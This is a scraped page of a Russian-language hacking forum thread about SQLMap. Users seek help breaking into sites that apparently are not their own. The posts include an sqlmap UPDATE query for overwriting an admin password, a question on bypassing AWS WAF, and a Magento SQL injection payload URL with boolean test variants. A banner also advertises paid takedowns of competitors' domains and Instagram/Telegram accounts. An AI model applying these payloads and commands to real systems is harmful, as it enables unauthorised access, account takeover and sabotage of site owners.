Вопросы по SQLMap

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Вопросы по SQLMap

Страница 108 из 115

108

Опции темы

Поиск в этой теме

Опции просмотра

23.09.2020, 01:39

karkajoi

Постоянный

Регистрация: 26.10.2016

Сообщений: 438

С нами: 5025206

Репутация: 5

Цитата:

Сообщение от Gutman999

↑
Не совсем понял тебя друже. Ты имеешь ввиду php code injection? Я с этим не знаком

Ну да, это дает больше профита чем иньекция, но верить акуше я бы не стал

𝕏 Twitter Reddit Telegram Копировать ссылку

23.09.2020, 08:54

Gutman999

Новичок

Регистрация: 22.09.2020

Сообщений: 9

С нами: 2970326

Репутация: 0

Цитата:

Сообщение от karkajoi

↑
Ну да, это дает больше профита чем иньекция, но верить акуше я бы не стал

А как эту уязвимость реализовать не подскажешь? Мана нету случайно?

23.09.2020, 09:27

eminlayer7788

Участник форума

Регистрация: 31.07.2015

Сообщений: 111

С нами: 5677526

Репутация: 1

Цитата:

Сообщение от Gutman999

↑
А как эту уязвимость реализовать не подскажешь? Мана нету случайно?

https://github.com/sqlmapproject/sqlmap/wiki/Usage

01.10.2020, 01:20

sosidzh24

Новичок

Регистрация: 10.04.2019

Сообщений: 14

С нами: 3734966

Репутация: 0

--is-dba: True. Могу я изменить пароль админа? Какая команда должна быть? Есть несколько баз данных, текущая 'admin' в ней таблица 'users' и колонку пароль 'password'.

Я попробовал так --sql-query "UPDATE users SET password = '123' WHERE email = 'admin@admin.com';" Выбило ошибку "execution of non-query SQL statements is only available when stacked queries are supported". Как правильно сделать?

22.10.2020, 17:42

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

Цитата:

Сообщение от sosidzh24

↑
--is-dba: True. Могу я изменить пароль админа? Какая команда должна быть? Есть несколько баз данных, текущая 'admin' в ней таблица 'users' и колонку пароль 'password'.
Я попробовал так --sql-query "UPDATE users SET password = '123' WHERE email = '
admin@admin.com
';" Выбило ошибку "execution of non-query SQL statements is only available when stacked queries are supported". Как правильно сделать?

PHP не поддерживает стек запросов, когда СУБД является MySQL

26.10.2020, 15:42

brown

Участник форума

Регистрация: 16.10.2016

Сообщений: 189

С нами: 5039606

Репутация: 1

как обойти WAF/IPS identified as 'AWS WAF (Amazon)'

Array

(

[0] => Array

(

[0] => 42000

[SQLSTATE] => 42000

[1] => 8114

Код:

=> 8114
            [2] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Error converting data type nvarchar to int.
            [message] => [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Error converting data type nvarchar to int.
        )

)

03.11.2020, 11:28

Gigggs

Новичок

Регистрация: 12.01.2017

Сообщений: 10

С нами: 4912886

Репутация: 0

Подскажите пожалуйста , Акунетикс нашел вот такую уязвимость Magento (2.2.0 to 2.3.0) Unauthenticated SQL Injection Vulnerability

нашел видос и пару статей как раскрутить

вот к примеру

но ничего не выходт

вот как выглядит

https:// site.com/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+3 *3>8)+--+-

или я что то не так делаю, может кто подскажет какие варианты еще есть или команды, или там вообще нет уязвимости

03.11.2020, 20:18

fandor9

Постоянный

Регистрация: 16.11.2018

Сообщений: 620

С нами: 3943766

Репутация: 47

Цитата:

Сообщение от Gigggs

↑
Подскажите пожалуйста , Акунетикс нашел вот такую уязвимость Magento (2.2.0 to 2.3.0) Unauthenticated SQL Injection Vulnerability
нашел видос и пару статей как раскрутить
вот к примеру
но ничего не выходт
вот как выглядит
https:// site.com/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+3 *3
>8)+--+-
или я что то не так делаю, может кто подскажет какие варианты еще есть или команды, или там вообще нет уязвимости

Гадать на кофейной гуще?

Что вам говорит site/magento_version

Что получаете в ответ когда шлёте

Код:

)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1=1)+--+-

и что получаете

Код:

)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1=0)+--+-

Первоисточник

03.11.2020, 21:12

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

Привет помогите!

Через SQLmap в PostgreSQL создал --sql-shell как мне сохранить output запросов?

SQLmap стандартным способом сохраняет но через --dump мне не выдает ничего только через sql-shell

#10

10.11.2020, 12:27

Gigggs

Новичок

Регистрация: 12.01.2017

Сообщений: 10

С нами: 4912886

Репутация: 0

подскажите , че это такое?

available databases [7]:
[*] `\\xfc@\xdc\xff\xfbt\xb7?\xfd\xff\xff\xa0? "@>@?\xf1W\x8f\xa0#\xff\x90@\xf2?\xfe\xe8\xff\xc8\ xf9\xf9\xe4c\xfa;7:\xbc\x80\xeb\x83\xf`
[*] `\xfc\xff\xc8\xf3\xfc\xa0\xe3\xe4\xd0?\xff\xc8\xff \x84>1\xe2\x909\xfc

\xfe?\xca\xd8+\xf0V`
[*] `\xfc \xc8\xfcD\x81▒\xff\xe8\xff\xf8\xff \x85 \xc4\xff\x9f\xfa\xf3\xf1NH\xe3\xe2\xb9 \xa2\xe1

\x801\xfb\xa0`
[*] `\xfc \xff\xff\xfa\xbf\xc8?\x8f ? ?\xff\xfa$8\xff\xfb?\xff\xe4\xff\xff\xfe1 \xff\xfc\xe1G\xf9^\xe0\xffq\xc1`